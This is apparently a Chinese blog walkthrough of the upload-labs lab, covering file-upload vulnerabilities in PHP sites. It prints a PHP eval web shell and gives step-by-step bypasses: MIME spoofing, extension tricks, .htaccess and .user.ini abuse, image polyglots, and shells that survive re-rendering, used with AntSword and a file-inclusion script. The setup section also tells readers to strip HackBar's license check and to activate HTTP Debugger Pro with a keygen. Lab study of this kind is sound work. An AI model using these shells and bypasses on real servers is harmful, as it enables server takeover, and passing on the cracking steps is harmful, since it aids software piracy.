打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
upload-labs通关

最近,我有个朋友老是反映部署的网站老是被黑客攻击,我看了下就是普通的PHP框架搭建的网站,经过一番排除也清除了木马。为此我专门花1天时间研究一下文件上传漏洞,知己知彼方能百战百胜。这里我选择了一个开源的靶场upload-labs。

测试环境部署

游览器插件下载地址

Cookie-Editor:https://chrome.google.com/webstore/detail/hlkenndednhfkekhgcdicdfddnkalmdm

HackBar:

https://hackbar.herokuapp.com/

使用everything搜索hackbar-panel.js文件的位置,注释或删除以下代码即可过限制:

chrome.storage.local.get(['license'], function (result) {...});

upload-labs项目部署

upload-labs项目地址:https://github.com/c0ny1/upload-labs

下载源码后放入入phpstudy的WWW目录中并启动Apache服务器即可完成部署。

phpstudy下载地址:https://www.xp.cn/

启动后:

网站界面可以创建更多的站点和对应的根目录位置。

然后可以访问项目:

中国蚁剑

源码下载地址:https://github.com/AntSwordProject/antSword

加载器下载:https://gitee.com/AntSwordProject/AntSword-Loader

使用文档:https://www.yuque.com/antswordproject/antsword/srruro

使用步骤下载加载器,打开加载器点击初始化。选择一个空目录则自动下载源码后加载,选择一个现成的源码则直接加载完毕。

抓包工具HTTP Debugger

我使用HTTP Debugger Pro v9.11,下载地址:https://pan.baidu.com/s/12fsnle4-idzzF_yx9DwIog?pwd=qum2

安装步骤:

  • 安装HTTP Debugger Pro v9.11.msi,安装完成后断开网络
  • 运行HTTP Debugger Pro KeyGen By DSiDERS.exe点击Activate注册激活后,启动网络
  • HTTPDebuggerUI_zh.exe放入安装目录,以后用它启动HTTP Debugger

通关开始

第一关 过前端js校验

第一关自然是最简单的,我编写的php脚本为:

<?php 
	header("Content-type:text/html; charset=gbk");
	echo "<pre>";
	@eval($_POST['xxm']);
?>

例如命名为shell.php

上述代码的最简形式:

<?php eval($_POST['xxm']);?>

关于eval的作用可以查看:https://www.php.net/eval

我们只需要通关开发者工具中的设置 禁用JavaScript 或者 在控制台执行:

checkFile=function(){};

即可将校验逻辑置空,然后就可以顺利的上传该文件。上传成功后,我们就相当于给目标植入了木马。

上传后,我们可以复制图片地址:

然后就可以通过该地址对目标服务器执行任何系统指令:

关于system函数的说明可以查看:https://www.php.net/system

当然,如果我们使用中国蚁剑来操作会方便的多:

连接密码就是post请求所接收的参数,连接成功后,就可以执行任何操作。

双击目标可以查看文件目录,甚至上传下载文件:

右击打开虚拟终端可以手动执行任何命令:

可以看到,只要我们的服务器中了这种木马等于整个服务器都彻底被黑了。

第二关 过后端MIME校验

这次不仅前端会校验,后端也会校验是否为图片类型的MIME。

我们打开抓包工具,过前端校验后上传shell.php。虽然上传失败,但是已经发出了包并被HTTPDebugger截获请求信息:

在post请求的具体内容中可以看到游览器生成的MIME类型:

Content-Type: application/octet-stream

我们只需重发一遍刚才截获的请求,并修改MIME类型:

Content-Type: image/jpeg

我们再选中该请求的状态下点击编辑并重新提交:

然后切换到标头,删除多余内容后,点击提交:

然后我们可以看到上传成功:

第3-10关 文件名后缀校验

这8关都是对文件名后缀的校验,每关对文件名后缀的校验都存在不同的漏洞。

各关在扩展名的全面性上升级:

  • 第3关:禁止上传 .asp|.aspx|.php|.jsp后缀文件!
  • 第4关:禁止上传 .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!
  • 第5关:禁止上传 .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件!
  • 第6关:禁止上传 .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess|.ini后缀文件!

后端的前置处理逻辑:

$file_name = trim($_FILES['upload_file']['name']);//文件名首尾去空
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //扩展名首尾去空

第6关虽然对扩展名检测全面,但是少了将扩展名转换为小写,所以可以通过PHP大写的扩展名通过检测,例如shell.PHP

第3关表示在apache的httpd.conf中有如下配置代码:AddType application/x-httpd-php .php .phtml .phps .php5 .pht时存在的漏洞,使用php的等价扩展名php5即可过关。

第4关表示Hypertext Access(超文本入口)存在的漏洞,.htaccess文件也被成为分布式配置文件,提供了针对目录改变配置的方法,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。

用法:
AddType application/x-httpd-php .jpg ,代表.jpg文件会当做php来解析。
SetHandler application/x-httpd-php,代表所有的文件都会当做php来解析。

开启Hypertext Access,需要在apache的httpd.conf文件中开启mod_rewrite模块,配置文件中LoadMoudle rewrite_module module modules/mod_rewrite.so AllowOverride All,同时需要将所有的AllowOverride none改为AllowOverride All。

先上传一个png的内容为<?php eval($_POST['xxm']);?>,再上传文件内容为SetHandler application/x-httpd-php.htaccess文件即可。

第5关利用用户自定义的配置文件自动包含代码,上传一个以auto_propend_file=1.gif为内容的.user.ini文件,表示所有的php文件都自动包含1.gif文件,.user.ini相当于一个用户自定义的php.ini,再上传一个内容为<?php phpinfo();?>的命名为1.gif的文件。

这时我们访问http://localhost/upload/readme.php该文件就会包含1.gif的代码。

第789关原本可以通过借助抓包工具给文件名增加一个空格、一个点和::$DATA绕过,但是本人测试出现移动文件异常,提示上传出错或即使上传成功也并没有去掉相应字符解析,说明现在新版的php已经不存在这些漏洞。

第14-17关 校验是否为图片

  • 第14关仅读取文件前2个字节判断是否为图片
  • 第15关使用getimagesize函数读取图片大小判断是否为图片
  • 第16关使用exif_imagetype函数检查是否为图片文件
  • 第17关使用imagecreatefromjpeg函数重新渲染生成图片

第14关可以上传内容为GIF89ad<?php eval($_POST['xxm']);?>的php文件,可惜服务器返回的图片地址为http://localhost/upload/5420221019220900.gif,已经修改为图片扩展名,无法直接作为php脚本解析。

第15-16关向正常图片追加php脚本后再上传。

准备一个普通图片文件t.gif,windows的合并命令:

copy t.gif /b + a.php /a a.gif

Linux:

cat t.gif a.php > a.gif

然后上传a.gif,得到图片地址:http://localhost/upload/5520221019221956.gif

此时可以使用文件包含漏洞,有一个可以包含指定文件脚本include.php存在,代码内容:

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?>

于是我们可以通过该脚本包含图片中的代码,下面访问http://localhost/include.php?file=upload/5520221019221956.gif。测试连接成功:

http://localhost/include.php?file=upload/5420221019220900.gif也测试成功。

第17关上传上面图片,代码会因二次渲染自动被删除,我们需要制作二次渲染后代码依然能够被保留的图片。这里我使用winhex打开图片,寻找连续的00最多的地方:

然后用winhex打开php脚本文件并复制:

然后在连续的00最多的地方选中第一个0并粘贴:

然后删除前面完全相同长度的字节数保持文件大小不变:

保存后,图片整体颜色大幅度被改变:

然后我们上传处理后的图片,保存被2次渲染的图片,用文本编辑器查看,可以看到代码依然被保留:

最终也成功连接。

其他关卡有兴趣研究的童鞋可以自行研究。

本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
BUUCTF-[极客大挑战 2019]Upload Writeup
网络渗透上传漏洞闯19关-第五关 升级版黑名单的绕过
upload-labs通关历程
网络渗透上传漏洞闯19关-第11关你们期待的「白名单」绕过
文件上传漏洞总结
【精美图文】爱的路上只有我和你
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服